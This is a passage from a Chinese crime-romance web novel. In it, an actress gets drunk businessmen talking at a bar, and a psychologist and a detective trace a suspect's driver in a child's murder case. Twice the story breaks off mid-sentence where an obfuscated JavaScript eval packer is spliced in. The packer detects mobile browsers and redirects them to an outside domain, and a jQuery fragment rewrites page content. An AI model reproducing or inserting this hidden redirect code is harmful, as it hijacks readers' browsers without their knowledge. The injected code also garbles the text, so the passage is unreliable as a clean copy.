说是装饰墙壁,实则是一面单向可视的玻璃,不起眼的地方设了一扇可供出入的门。这一切在外人看来不过是一面有着纷繁图案的隔断罢了,与寻常墙壁并没有什么不同门敞开后就会发现内侧连着一间何将醉的工作室。 虽说市局上下都认可何将醉这个“编外人员”的身份,但他本人并不太想直接参与到实际调查工作里,没有特殊情况的话,他一般只帮忙做做分析侧写工作。 何将醉从中缓步而出,问周澄:“她是不是转岗做的现在这份工作?” 周澄一脸震惊:“你怎么知道的?” “看年龄她应该不是初入职场的人。而如果是长期在总裁办一类的岗位任职的话,几乎领导一个眼神自己就知道该去干嘛了,一个个都跟成了精似的,不会把工作相关的内容说得太细——但这位干脆直接连相关人名都报给你了,倒省得你拐弯问了。” “……我看你也快成精了。”周澄夸张地一撇嘴,随即正色道,“看来她说的这个冯盛就是我们的突破口了?” “嗯,”何将醉淡淡道,“老规矩,金钱、健康——他的破绽一定比夏延裕要好找得多。” “好,我派人去查。” 何将醉把电脑屏幕转向周澄:“屏幕里的这个人很有可能就是那个冯盛。” 电脑播放的正是之前池观月发给他的晚宴的视频。 视频定格的那帧里,夏延裕身边的一个男人被放大圈了出来。 “当晚和夏延裕搭讪的有好几拨人。这个人并不是一直待在他身边的,而是随着人群一起来来往往,几次出现在夏延裕的面前,但始终和他没有交流,只待在人群边上一副随时听命的样子看着他。” 听罢,盯着电脑屏幕的周澄表情变得有些凝重。 “对了,还有刚才她提到的那个推荐野营地点的上司——这个我们已经提前查到了,所以就没问她,”周澄抬头看向何将醉,“是被害人夏远宸的母亲,袁雅。” 8. 笑面人 八 正当所有人都在忙碌的时候,万象娱乐办公室里此时正一室旖旎。 “我听说许曼下一期节目的嘉宾定在咱们公司了呀?”声音甜腻,自进屋起女孩就仿佛没有骨头一般紧贴着男人,清秀的五官附加了许多本不该属于这个年纪情绪。 酒杯被人顺手放在玻璃茶几上,男人揽过女孩让她坐在自己腿上。 “你的消息倒是灵通。”男人调笑。 “哪有啊,”怕自己的目的太过明显,女孩低头害羞轻笑,“我就随便问问。” 不同于女孩稍显慌乱的反应,男人游刃有余的眼神完全不加掩饰。 “这样啊,我还以为……”男人语气里透着显而易见的失望,然而却并没有松手放开怀里的人,掌心的温度继续贴着她的腰线游走。 用洒饵来代替直接捕猎,是心情好的时候才会有的表现。 “当……当然了,”女孩闻言声音带了些局促,抬手搂住男人的脖子,把脸凑了过去,“我也很想参加那个节目……” 助理抱着汇报材料敲门的时候,屋里的女孩正好推门出来。 女孩即使是在这种情况下迎面撞上来人,也丝毫没有躲闪的意思,反而在继续整理着长裙肩带的同时睨了一眼对方,随后没多做停留地走向电梯,趾高气扬地意味尤为明显。 这种情况助理也不是第一次遇到,早就见怪不怪了。 只不过这次的对象让人稍感意外——居然是那个新人祝晴。 “老板,许曼主持的节目下一期的嘉宾选择权给咱们公司了,您看——” “让池观月上。”对面的男人无意看下属部门的策划案,直接懒洋洋口述道,“晚上有聚会,我跟老夏说一声,他那边会放秦泽亦上的。” 男人边说边慢条斯理地整理着微乱的衣襟,神态仿佛一只餍足的狐狸。 助理回想着刚刚一脸势在必得的祝晴,不禁对老板的安排感觉有些困惑,但迫于威严没敢问出口。 正准备领命离开的时候,就听见对面的人慢悠悠地补了一句:“以池观月的实力加秦泽亦的人气,前几集播出之后,两人cp的热度一定会和现在许曼的节目一样——势头正好,相辅相成,哪边都不会拒绝这个选择的。” “谁会和钱过不去呢?”男人扭头看向怔愣的助理,“我是商人,不是慈善家。” 助理终于心领神会。 自然,后续有的是人可以作为那个“不得已”的借口来背锅。 从那片荒郊野岭驱车打道回府的时候已接近傍晚,正好赶上了晚高峰。 累得失去灵魂的池观月和丁璇瘫在保姆车后座上,正有一搭没一搭地聊着天,消磨着仿佛没有尽头的堵车时光。 坐在前排的方一尧突然给司机报了一串地址,示意更换目的地,然后扭头看向二人:“老板刚说的,为了庆祝拍摄顺利,他请大家一起吃顿饭,让你们直接过去就行。” “真难为他想出这么个破理由了,”池观月一脸的生无可恋,“把加班说得这么好听。” 丁璇发出疑问:“就只是吃顿饭?不止吧?” 方一尧看了看手机:“这倒是没说……” 丁璇了然地用胳膊肘碰了碰旁边的池观月:“死心吧,今天没个三更半夜跑不了了。” “啊?” “这种东西我之前没少见——除了咱们老板,估计还得有其他人,吃个饭只是第一轮而已。” 实际果然如丁璇所说的那样,这顿饭所谓的“庆祝”部分也就占了10%,剩下90%都更像是吃吃喝喝版的工作洽谈会。 在场的除了万象娱乐的老板徐致来之外,还有夏氏的老板夏延裕,以及其他几位不太熟悉的男男女女。 两位久经商场的老板展现着彼此的交情,余下一群人负责附和,场面堪称一派祥和。 如果只是一起吃吃饭的话,倒也没什么太大问题。可等到所谓的第二场在深夜拉开序幕的时候,池观月突然就开始觉得这活动有点变味儿了。 且不说在场的男性几乎都是叔叔大爷辈的了,几位女性基本都是两家各自旗下的艺人,老板们挑的地方还刚好是漫野——一群人围坐在包间里除了谈天说地就是喝酒。酒过三巡,有几个公司高层借着酒劲对身边的女孩开始动手动脚起来。 池观月一进门就挑了个靠边的位置拉着丁璇坐下,试图尽可能地远离乌烟瘴气。那两位老板明显已经喝得有点上头了,早就忘了这次聚会打的是什么旗号,所以就也没顾得上关注她们坐哪,俩人聊得那叫一个不亦乐乎。 中途也有几个借着酒劲往池观月和丁璇身边凑的人,但最后全都悻悻而归。不知道的还以为这些前去搭讪的人是看见两个姑娘不胜酒力的样子,绅士地起了怜香惜玉之心。 然而实际丁璇是真的喝得晕乎乎的了。池观月则发挥演技天赋,在旁人视角下端杯假意迎合来人,实际和对方对视的眼神里却写着:趁我还给你面子,赶紧滚蛋。 毕竟也没恶语相向,言辞到举止都温温柔柔的,谁也没法说什么,被吓住的酒鬼也只好认怂回到原先的座位去了。 反复几次以后,也就没什么人敢再靠过来了。 几轮下来,池观月依然还能像个没事人一样偶尔搭几句场面话。相比较而言,丁璇的酒量就要差一些了,饶是她在几轮互相乱敬酒下偷偷少喝了几杯,却还是有些喝多了。 此时已近深夜,可眼下这群人明显丝毫没有各回各家的意向。 “还清醒吗?”池观月扫了一圈勾肩搭背的人们皱了眉头,悄声问着身旁的丁璇。 “还行吧……”几个字让丁璇说的差点咬了舌头。 “行什么啊。”池观月一看她这反应就知道她离自动关机不远了。 “这帮人没完没了了真是。”池观月拍拍丁璇的手,“等会儿我找人先把你送回家。” 丁璇靠着她迷迷糊糊吐出一口酒气:“那你……” “我应付完他们再走。” 视线落到夏延裕身上,池观月觉得这也许是个套话或者发现点什么的好机会。 丁璇半梦半醒间不忘嘱咐她:“别跟他们起正面冲突,你这事业才刚起步,惹了他们以后的路会很难走……” 池观月哭笑不得:“行了,都什么时候了还操心我呢。” 趁所有人不注意将丁璇送出去之后,池观月又在门口站了会儿,转身点了几瓶烈酒之后才重新回到楼上。 刚进屋,就看见徐致来摇摇晃晃地冲门口招手,看意思是想叫人再送几瓶酒进来。 “我点完了,他们马上就送上来。”强忍着扑面而来的糜烂酒气,池观月笑道。 “好,好,”徐致来收回手,突然想到了什么,扭头对夏延裕道,“老夏,这么干喝没意思啊,玩、玩点什么?” 都喝成这德行了,还玩呢。 池观月在心里翻了个白眼。 夏延裕此时也早就没有什么公众面前的翩翩风度可言了。眼见他在听了徐致来的话之后,开始晃晃悠悠地把手边的杯子拿到面前摆成了一排,随后还眯着眼左看右看自己摆的是不是直线,整个人都透着一副神志不清的样子。 多少玩过点的明眼人都能看出来,夏延裕这架势是要摆俗气的深水炸弹了。 身边有下属赶紧贴心地将他面前的杯子里倒满啤酒,然后再接过刚送进屋的几瓶烈酒分别倒在几个子弹杯里,然后将其按照多米诺的样式,在原先排成一排的宽口杯上面依次摆好。 要说重头戏的话,还是要数最后上排杯子从一端开始逐一坠杯的过程。 可这群人忙活到最后反而突然犹豫了,也许是怕扰了老板们的兴致,迟迟无人敢动上面那排小杯子。 除非是和关系特别好的朋友一起,否则尤其是这种场合,出头或者表现得太能喝会玩并不是什么好事。 池观月估摸着这群醉鬼在喝完这轮之后会直接断片,明天也就想不起来什么了。于是她倚在桌子一侧单手提着一瓶香槟吹了声口哨,摆手示意对面的人离远点。 倾斜酒瓶,紧接着一把香槟刀贴上瓶颈,对准瓶口焊缝快速地削了下去,瓶口连着软木塞瞬间一起飞了出去。 未经强烈摇晃的香槟泡沫,力度恰到好处地将第一个装满威士忌的小杯子撞入下面的啤酒杯里,随后如多米诺一般,一连串的杯子纷纷坠下。 兴奋的叫声此起彼伏,人们高涨的情绪和杯中的泡沫一起翻涌着,举杯狂欢,深觉畅快。 而池观月此时想的,是怎么一轮把他们全都喝趴下。 不得已陪着一起喝下的酒,五分的醉意被池观月愣是装出了八分。她掐着时间眼看夏延裕马上就要和其他所有人一样被高度数酒精撂倒,于是磕磕绊绊地说了一句:“夏老板,刚刚楼下的酒保说看见您的车开着车门,但是车里没人呢。” “老冯是不是又给孩子打电话去了……”手机刚来得及拨出号码,夏延裕整个人就直接趴在了桌子上。 果然清醒的时候什么精英文质彬彬,几杯酒下去全是一个德行。 过度狂欢后是一片寂静的狼藉,一群人东倒西歪明显不知今夕是何年。 池观月揉揉眉心,起身撑着桌角看了一眼夏延裕手机屏幕显示的人名,然后拎着香槟瓶出了屋。 “你谁啊,放手!”有些恼怒的年轻女声呵斥道。 一旁的男人拉着女孩的手腕,一脸暧昧地说着什么。女孩的表情显然十分排斥对方,然而奈何力气相差悬殊,她怎么也挣不脱男人的钳制。 酒的后劲上来了,本来只是路过的池观月被两人吵得有些头疼。正当想用随手拎着的香槟瓶敲敲金属栏杆,示意两个挡道的人闭嘴让道的时候,没想到失去控制的力度直接把本就剔透的香槟瓶直接拦腰撞碎,这动静反倒成功让原本意见不统一的两人同时被吓得闭了嘴。 池观月冷脸皱眉拎着半截瓶子,很像来者不善要干架的。 其实她从一开始就不知道自己到底为什么要拎着个瓶子出来,当下思路又严重延迟,因此她对眼前这俩人的反应也就更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14978283|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈不上什么理解了。 池观月抬眼看向挡道的男人,一挥手里那半截瓶子:“滚。” 男人明显也喝了不少,怔愣间真就给她让出了一条道。 女孩得以逃脱,张了张嘴刚想道谢,却被池观月背影潇洒的摆手给憋回去了。 再也无暇顾及其他,池观月现在只想趁着自己还有点意识,赶紧把正事儿干了。她晕乎乎地下到了一楼,拿出手机给何将醉打了个电话。 好巧不巧的,来电铃声居然刚好在自己身后响了起来。 混沌的大脑猛然记起了他那句让自己禁酒的话。池观月原本想着如果打电话的话,她还能假装自己是个能正常行动的清醒人类,结果这下可倒好,直接撞脸上了。 电话居然还被他给接了。 池观月没敢回身,索性直接一动不动面壁掩耳盗铃当作无事发生,对着电话快速地报出了一个车牌号:“这是夏延裕的车牌号,来接他的人叫冯盛现在应该在去二楼接夏延裕的路上你自己看着办我先去吐一会儿……” 胃部冲向喉咙的强烈灼烧感迫使她变成了一个rapper。 其实混不吝更像是她的常态,除了和小时候相关的那些事情,长大后的池观月对大部分人和事都没什么特别在乎的,也就更甭提怕谁了。 没想到自己在脱离控制之后,潜意识里不仅依然牢记着要遵纪守法,还记住了要“遵医嘱”。 只不过就这一点而言,喝多了的池观月当然意识不到,睡醒一觉一看见何将醉就开始条件反射心虚的池观月意识到了。 揉揉眼睛想顺势翻个身的时候,池观月发现后背被垫了个抱枕。 “这什么东西……”她伸手摸向背后,“怪不得睡个觉硌得我后背疼……” “怕你睡着了翻身才放的。喝多了平躺着呕吐的话,你这一觉可就直接睡到下辈子了。”刚进门的何将醉恰好听见了池观月的吐槽,于是随口接了句话跟她解释,不料紧接着他就看见连呼吸带动作瞬间掉帧了的池观月,“怕什么?” “怕什么?谁怕了?听不懂,别乱说。”别开视线的池观月迅速把问题扔了回去。 “冻结反应,”何将醉把手里的袋子放到了茶几上,轻描淡写道,“人在感受到恐惧或者压力的时候,就会有这种呼吸或者肢体冻结的反应。” 选择在不知道学了哪方面心理学的人面前装傻可真是…… 缺心眼。 池观月心里暗骂自己一句。 摸索着找到手机看了一眼时间——凌晨五点半。 池观月难以置信地抬头看向正在研究说明书的何将醉:“都这个时间了,你不用睡觉的吗?” “一看你就没看过凌晨五点半的经甫市,本劳动人民天天都能看见。”何将醉看完说明,给她递过去几粒药,“解酒的,马后炮抢救一下你的肝吧。” “一瓶阿贝卖三千,跟直接抢钱有什么区别?哪个土匪窝里跑出来的劳动人民啊。”池观月摊开掌心,看着他给的那几粒胶囊在手心里滚动,意有所指,“不想吃,从小到大最讨厌吃药了。” “那一人一半,我陪你吃。” 何将醉说罢不等她反应,握着她手腕翻转,把药倒回他手里张嘴喝水咽下,从头到尾表情不变,甚至连眼都没眨一下。 池观月看着他的动作,突然就回想起前几天晚上自己为了打消对方疑虑而换过去的那杯水。 这个人在她不知道的情况下,到底对她了解到什么程度了? 池观月在对方重新倒出几粒药的时候一把拉住他的手臂,直接就着他的手把药倒进自己嘴里,仰头吞服的全程一直和他保持对视,愣是把药吃出了一副不服输的钓人气势。 何将醉清楚感觉到了对方留在自己掌心的触感,他张了张嘴,等她松手之后才终于想出话题,接着上轮对话继续:“生意人的事怎么能叫抢呢。我地盘上的一瓶酒只收他三千,挺够意思的了——正好顺便还帮你向万恶的资本主义报仇了。回头多让他们来几回,诓到的酒钱咱俩对半分。” “那行,这生意划算啊——”池观月顺势而下却听出来他话里有话,于是话锋一转,“看来人民内部矛盾都被你给发现了?是因为颁奖礼那天楼上遇到的那个女孩吗?” 经验和直觉告诉她,面前这人既能和警察搭伙干活、本身又是研究心理的,严谨肯定是他必备的属性之一了。再加上他们俩人从一开始就不太寻常的相识途径和几次交集,池观月总觉得他的一切行为都是别有用心的铺垫——为了到达某个目的。 但那个目的到底是什么呢? 何将醉坦然地应了一声:“你和她同属一家公司,资源方面难免会有冲突,更何况现如今对方已经动了要抄近道的念头。你们老板怎么做决策目前还不好说,但为了避免被对方的不择手段中伤,你提高点警惕还是有必要的。” “有道理,”池观月把手里的玻璃杯放回原位,“那我该怎么处置呢?” “可以为你所用的东西,就有留下的价值。” 9. 笑面人 九 不得不说,漫野的老板不是真的热爱工作,就是真的会享受——一个不起眼的里间居然都能被设计得五脏俱全的,以至于池观月在里面简单洗漱出来之后,理所当然地点起了早餐。 “连早点都不卖,漫野也太差劲了吧。”池观月光明正大地在老板面前吐槽。 “……也不知道是说这话的人有点问题,还是不在酒吧卖早点的人有点问题。”正要打电话的何将醉收回视线,拨通电话跟周澄简单交代完前因后果后又补了一句,“正好,你过来一趟吧,来的路上捎两份早点过来。” 对面的周澄一阵无语,念及这人也是真的为了帮自己才大清早把他叫过去的,于是上赶着给自己找了个台阶下:“看在你还惦记着我也没吃的份上,算了。” “那捎三份过来吧。” “……” 想着还是有周澄在场再一起聊刚才发生的一切案件相关的事情更为合适,于是在等他来的这段时间里,何将醉还不忘见缝插针地尽了一下治疗师的义务。 池观月也不客气,直接把同剧组的那个炸药桶给拉出来抖落了一通,然后观察起何将醉的反应来。 她有点好奇对方切换到治疗师模式会是什么样子。 何将醉见状一挑眉:“你该不会以为我会说什么‘语言才是通往和平的唯一途径’吧?” “至少我遇到的大部分人在这种情况下都会这么说的,”池观月无所谓道,“不过我确实期待你能给点不一样的回复,因为我觉得对于那些招人讨厌的人来说,好好讲道理什么的,实在是‘此路不通’。” 何将醉点头表示认可:“所以只能揍他了。” 池观月有些不可思议地笑了:“何医生,你这么教你的……‘患者’,会不会不太合适?” “前提是你得是患者啊。” 这一问一答让空气短暂凝固了几秒,两人从表情到语气依旧无比平和,但双方此时都清楚他们在进行着一场无声的拉锯战。 交接工作时,过往治疗师只记录下了她“在密闭黑暗环境中会产生恐慌及强烈眩晕甚至窒息昏迷”,但其“症结所在”始终成迷,而池观月本人似乎也在不断回避探讨相关话题。 短暂几天相处下来,何将醉甚至开始怀疑这所谓的症结实际是她对自己所背负的秘密的一种躯体症状。 毕竟与那秘密紧连着的是条人命,压力过大导致一系列躯体症状产生的情况,他见过的可太多了。 他在等,她也在等。 池观月一边当这咨询治疗工作是应付差事,觉得也许是因为自己矫情,所以才会连自己都理解不了为什么得了个幽闭恐惧症居然就能“怕黑怕到条件反射真实想死”,一边又在发作时迫切地想抓住一根救命稻草救救自己。 以往她还会为自己的别扭而默默对那些治疗师感到抱歉,直到遇到何将醉,她的负罪感反而逐渐演变成了猫捉老鼠式的乐在其中。 她很好奇他接近自己时那不可言说的目的到底是什么。 他们的关系的确从一开始就不是医患。 何将醉率先开口打破沉默,报出了个车牌号:“一辆银色Urus,是你的车吧?” 池观月想了想,眼神中多出了不解:“是,好几年前买的了,怎么了?” “发生过交通事故是吗?” “什么……” 有些奇怪的问话,但池观月回忆着当年的事情迟疑地张了张嘴,并没有斩钉截铁地反驳。 这辆车是六年前外公送给她的生日礼物。当时正值池观月学期末放假回国,所以这辆车开了没多长时间她就回学校继续上学去了。 在外留学期间,这辆车就一直停在自家车库里。 从何将醉的反应来看,他似乎并没有掌握到所谓事故的具体细节,认定是她做过什么。 况且车钥匙一直放在家里,她的家人也是有可能开过这辆车的,即使她是车主也不能说明什么。 “具体是什么时候的事?”池观月微微惊讶地抬眼看向对方。 何将醉回想起当时周澄调档时的意外发现,以及辞安帮她查的资料——一个大活人凭空消失,至今生死未卜,与之相关的信息也一点都查不到。 一切的起因——那辆车的主人,现在却是一副仿佛对一切都不知情的样子。 这也是演技吗? 何将醉耸耸肩:“我知道的也只有这个而已。是查案子的时候刚好查到的,所以顺便问问你。” 池观月盯着他的眼睛,似乎在试图验证他这话的可信度到底有多少。 “让我看看是哪位新晋的祖宗居然有幸能吃上我买的早饭——”由远及近的不着调声音打断了两人之间的诡异氛围,推门而入的周澄看见池观月的时候明显愣了一下。 “正是这位。”何将醉扬扬下巴示意,看戏似的看向周澄。 在知道池观月是个明星之后再度见面,周澄莫名有了种紧张的距离感。即使是时不时就要和大量的人打交道、自认阅人无数的他,也不得不承认生活中实在少见并且近距离接触这种程度的美女,于是顿时就更觉得拘谨了。 池观月倒没什么介意的,看着门口周澄的反应只觉得有趣。 点头问好后,两人简单地打了个招呼算是正式认识了一下。然后几个人坐在一起,开始边吃边聊昨天晚上到凌晨发生的一切。 “我是待到冯盛把夏延裕扶上车、开车离开之后才走的。接夏延裕开的车应该不是冯盛个人的,车牌号我发你,你派人查一下。”何将醉仔细回想道,“这个冯盛有点奇怪,又是帽子又是口罩的,除了俩眼睛,别的几乎哪儿都没露。” “行,”周澄应了一声,把两人刚才说的内容都认真地记了下来后又仔细检查了一遍,“那我说一下查到的关于冯盛的信息。” 池观月抬眼向何将醉递了一个询问的眼神,后者则无声示意她留在屋里安心听就好,无需回避。 果然周澄也并没有介意池观月的“旁听”,拿出手机给两人看了张照片。 “这人就是冯盛,39岁,已婚,有个女儿。一家人没有外债,家庭经济状况虽说算不上大富大贵,但也还可以了,毕竟在夏延裕手底下谋得这么个职位还干了这么多年,对方也不会太亏待他。至于健康——我们调到了他最近一次在市医院的体检记录,”将手机上的照片向右划,下一张是一份体检报告,“没什么问题。” “有其他就诊记录吗?”何将醉略一思忖,“体检一般进行的是基础的身体检查,有些问题不一定能被发现。” 周澄摇了摇头:“最近的就这个了。” “我跟夏延裕说他车门开着的时候,他说‘老冯是不是又跟孩子打电话去了’,虽然喝多了的人说话没什么逻辑可言,但是我总觉得这话哪儿不太对劲。‘又’、‘跟孩子’、‘打电话’……”池观月反复琢磨着这寥寥几个字,“你们不觉得哪里不对吗?” “冯盛的通话记录我们也查了,他最近确实经常给家里打电话。” “从什么时候开始的?体检之后?”何将醉问。 “大概是体检两个月之后——也就是这个月开始,他每天都和家里通话,通话时间一般是中午休息时间和晚上十一点以后。” “休息日也是这样吗?” “休息日偶尔是这样,不全是。”周澄翻看着调查记录,继续道,“另外,冯盛名下有一辆车,目前是日常停在家里供妻子接送孩子使用。冯盛家距离夏氏公司大概是半个小时的车程。调取他近几个月的消费记录可以发现,他购买的东西除了一些日常生活所需之外,还有就是化妆品和玩具,看上去应该是分别买给妻子和孩子的。” “有车放家里不开,离家不远还要每天给家里打好几遍电话,也没有其他不良记录……这么惦记家人的话,应该不是出轨一类的问题,反倒像是个顾家的人。他的工作虽忙,但并没有忙到不着家的程度,何况之前那个报案人说过最近很少能在公司里见到他……” 周澄接着何将醉说的内容补充:“不需要经常出外勤且是个上级对他需求度很高的工作,他却可以不经常出现在公司,说明冯盛那个不得已的原因夏延裕大概率是知道的,所以才会允许他这种反常行为,这也正好能解释为什么夏延裕会说他‘又给孩子打电话去了’。” “我更倾向认为他的身体出现了问题。这个问题很容易就会在他的外表上体现出来,以至于他不仅需要回避同事,连家人也要躲着。” 周澄点点头:“可是冯盛自体检之后就什么就诊记录都没有了,他是怎么确定自己生病的?” “夏延裕帮他了呗。”另外两人闻言看了过来,池观月耸耸肩解释,“像夏延裕这种的,有个自己的私人医生甚至医疗团队再正常不过了,所以想在不留下任何记录的前提下给某个人看看病也不是什么难事。” “是个思路,可以顺着查一下。另外和夏延裕相关的人员车辆也查一下,近期说不定有去过城北郊区森林。”何将醉边说边把桌子上碗筷收拾到袋子里打包系好。 池观月抽出一张纸巾擦了擦手,然后随手叠好一起放到了袋子里,拿起手机看了看两人:“需要我帮忙吗?关于私人医生什么的。” “那可太需要了!”周澄十分感动,当即感觉自己看到了救命稻草。 周澄当下正好在发愁这件事该从哪下手开始查,因为那些富人家各自的信息可能有一部分是互通的,但是外人要想从零开始了解却并不容易,反而很有可能会打草惊蛇。 “正好认识几个败家子,他们比较了解这些,等我找一个问问,”池观月低头回复方一尧刚发来的信息,起身作势离开,“有消息了告诉你们。公司有会要开,我先走一步,你们聊。” 临出门又回头笑着跟周澄道声谢:“早餐谢了啊。” “醒醒,人家都走了半天了。”何将醉扫了一眼正望着门口出神的人,毫不留情地揶揄,“面向组织的一颗红心这就遭受考验了?” 周澄出乎意料地表情严肃一摇头,意有所指:“我能理解为无事献殷勤吗?” 何将醉答得避重就轻:“你又不亏。” 对外人多提防,但周澄对何将醉以及他的判断还是十分信任的。 见他默许,周澄便也跟着稍微放下心来。 万象娱乐会议室里,公司决议层和演员部艺人围坐在一起,讨论新一季工作安排。 说是公司高层和演员部的会议,但池观月看了一眼坐在斜对面歌手部甚至还只是练习生的祝晴,顿时觉得这会议的严肃程度简直兑了不少水。 祝晴从一开始就在整个会议室内显得格格不入,上面该开会开会,她在下面拿着手机该玩玩,轻松无视周围其他人的眼神提示,只有在听到公司把许曼节目的嘉宾定为池观月后才终于正色直起身来。 先前她隐隐傲慢的姿态彻底不复存在,脸色开始变得十分难看。 有了先前酒店那幕,池观月稍微想想就知道她前边那份笃定到底是哪来的了。 来的路上方一尧已经和池观月提前透露了一部分——公司有意让池观月和秦泽亦搭档,共同代言夏氏旗下最新的电子产品。预计广告播出的时间大约在电视剧播出中期左右,到时两者可以互蹭一波热度。 “两家老板真是煞费苦心啊,”池观月听后不为所动,当即拒绝,“我不去。” 即使已经被剧透过了,在开会的时候再听一遍这言简意赅的拒绝,方一尧还是感觉心脏有那么一瞬间停跳了。 尤其还是在这么多领导和艺人同时以含义不明的视线盯着的情况下。 不理解的人觉得她这是不知好歹,嫉妒的人觉得她这是得了便宜还卖乖,只有丁璇和方一尧暗自捂紧心脏估摸着她这是又要整活了。 作为早期靠电子发家并发展壮大的企业,夏氏在这方面已然做到了业内的龙头位置,其每一季发布的最新产品都是人们争相购买的对象,而相关代言无疑也是一个提升知名度、提高身价的绝好机会。 但自从知道夏老板那一堆未定的后患之后,池观月脑子里只剩下“离他越远越好”这一个想法。 她要是真接了这工作的话,回头大概率就直接砸自己手里了。 被剧透之后要是再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14978284|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉坑里,那她就是傻子。 “理由?”策划部负责人语气不善,显然对于快到嘴的肉并不想放下刀叉。 池观月轻飘飘环视一圈,视线扫过他旁边还挂着一脸不甘的祝晴时一顿,她猛然意识到了什么。 不得不说老板这招算计得挺好啊——他自己中途背刺别人,顺便还把她拉出来挡枪。在祝晴看来自己简直跟她没什么两样,甚至还要背个“半路截胡”的罪名。 “因为我觉得祝晴比我更合适这个代言项目。”池观月看祝晴因这一句话突变的表情就知道,自己这决定是成人之美了,“品牌方为了夏季特别推出的最新产品主题是活力,目标受众也是充满活力的年轻群体,祝晴阳光活泼的性格就很符合产品定位。除此之外,这季产品的音质也是一大亮点,祝晴的歌手身份会更契合这个设定。反过来看,这个代言也可以为我们公司推出新人女歌手的计划提前造势。所以无论是对产品本身宣传、还是公司以及个人发展而言,祝晴都是当之无愧的代言人选。” 池观月话音一落,就见会议室内众人开始变得表情各异。 高层之间的眼色往来说明了他们开始重新思考决策权衡利弊了。 很好。 开完会前往当天拍摄地点的路上,方一尧盯着池观月看了半天,直看得她发毛。 “没想到你居然对电子产品这么有研究,背地里还做功课了?还有那一通夸,听得我都怀疑你是不是昨天晚上的酒还没醒。” “你看人家小姑娘眼巴巴的就盼着这么个出头的机会呢,我哪儿忍心让人家失望啊——我这是为人家的梦想助力。” “别放屁了,”方一尧翻了个白眼,“你骗得了别人可骗不了我。” “放心吧哥,”那些尚且没有定论的事情她还没办法说,但池观月知道方一尧担心的是什么,于是搭着他的肩仗义道,“跟我混,只要有我一口吃的,你肯定饿不死。” 方一尧警惕地嗅嗅扑面而来的气息:“一点酒气都没有……你昨天晚上在哪儿过的夜?没被人拍到什么吧?” 突如其来的查岗问得池观月瞬间卡了壳,她只能含糊地应了声“没有”,然后在方一尧充满怀疑的注视下,赶紧接起刚好响起的救命电话。 “大清早的干嘛?”连招呼都懒得打,对面的彭焕明显还没睡醒,看见池观月发的消息的第一时间就给她回拨了个电话。 “帮姐姐个忙。” 平时两人总会为辈分称呼问题吵得不可开交,一边生怕让对方占了便宜,另一边偏偏又都喜欢见缝插针地压对方一头。 言简意赅得连客气都省了,池观月放慢脚步跟在方一尧身后不远处。 “把你家医生的电话给我,我有点事想问。” “哦,”电话那头的彭焕毫无战斗欲望,翻了个身只想继续睡觉,“等我睡醒了发给你,没别的事我就先——” “还有件事,”池观月打断他,“之前外公送我的那辆车,我出国那段时间你动过吗?” “……出什么事了?” “你就告诉我有还是没有——剩下的我去解决。” 先前法医推测夏远宸的死亡时间为三月二十一日左右,除了凶手范围以外,死亡时间的范围也急需尽可能地缩小。 朗安区万悦购物中心地下停车场里,何将醉在楼上实地观察了几圈后坐回车里,用电脑重新逐帧回看周澄发的几段商场内部监控录像。 根据夏家人的说法,三月二十一日上午,几人还曾在这里一起购物。正当夫妻二人打算午饭后前去与孩子舅舅一家同聚的时候,夏远宸不见了。 准确来说,是夏远宸在吃饭的时候曾提出想去卫生间,由于孩子年龄比较小,父母担心孩子在商场里迷路走丢,原本是想陪着一起去的。但哥哥自告奋勇说要陪弟弟一起去,于是两个大人应允。而夏远宸正是在重新回到餐厅的路上不见的。 哥哥夏远鹤说到底也还只是个孩子,被弟弟失踪的事情吓得只剩下哭了,无法提供什么有利线索。 如今公共场所的监控设施十分完备,按说要想凭借监控发现一个人的踪迹并不是什么难事。 从夏家四人整个上午在购物中心大楼里的行动轨迹、到吃午饭的餐厅、甚至餐厅内,全都有监控都对几人进行了记录。一直到后来夏远鹤领着弟弟出了餐厅,可以看见两个孩子几乎没绕什么弯就找到了卫生间。 从监控里可以看到,原本弟弟先进了卫生间,哥哥在门口等着。过了一会儿哥哥也进去了,正是在这个时间差里,弟弟先从卫生间里走了出来,然后按照自己来时的方向独自一人往回走。 在一处岔路口拐弯后,夏远宸就进入了那极少数的视线死角,彻底失去了踪迹。 刚才何将醉在楼上对比着监控最后拍到夏远宸的位置找了一下,根据夏远宸拐弯的地方来看,这个方向唯一可供人来去无踪的是尽头拐角的一处货梯。 由于当时的设计问题,这处货梯位置偏僻,且内部空间较小,没有办法运载太多货物,久而久之也就鲜少有员工使用了。 如今通向这处货梯的狭窄走廊,几乎被各种货物给堵得严严实实的。 监控里并没有人在一旁指使。 这个年龄的孩子,怎么能刚好就走到这么一个成年人特意找起来都有些费劲的地方呢? 万悦购物中心的地下停车场一共有三层。 顺着货梯的位置可以发现,其最低可下至地下三层,地下一、二层均不会停留。 何将醉下了车,以货梯的位置作为起始点,边走边留意着附近监控的分布。 “将醉,”周澄刚和其他几名刑警进行完又一轮的走访调查,立刻气喘吁吁地给何将醉打了个电话,“我这刚收到的消息,排查了三月二十日前后几天城北森林附近公路的监控,发现了一辆租赁公司所属的可疑车辆,很有可能就是当时嫌疑人将被害者拉到森林时开的那辆。” “租赁登记人姓名查到了吗?”何将醉边说边在一辆车前停住脚步,透过挡风玻璃仔细观察着什么。 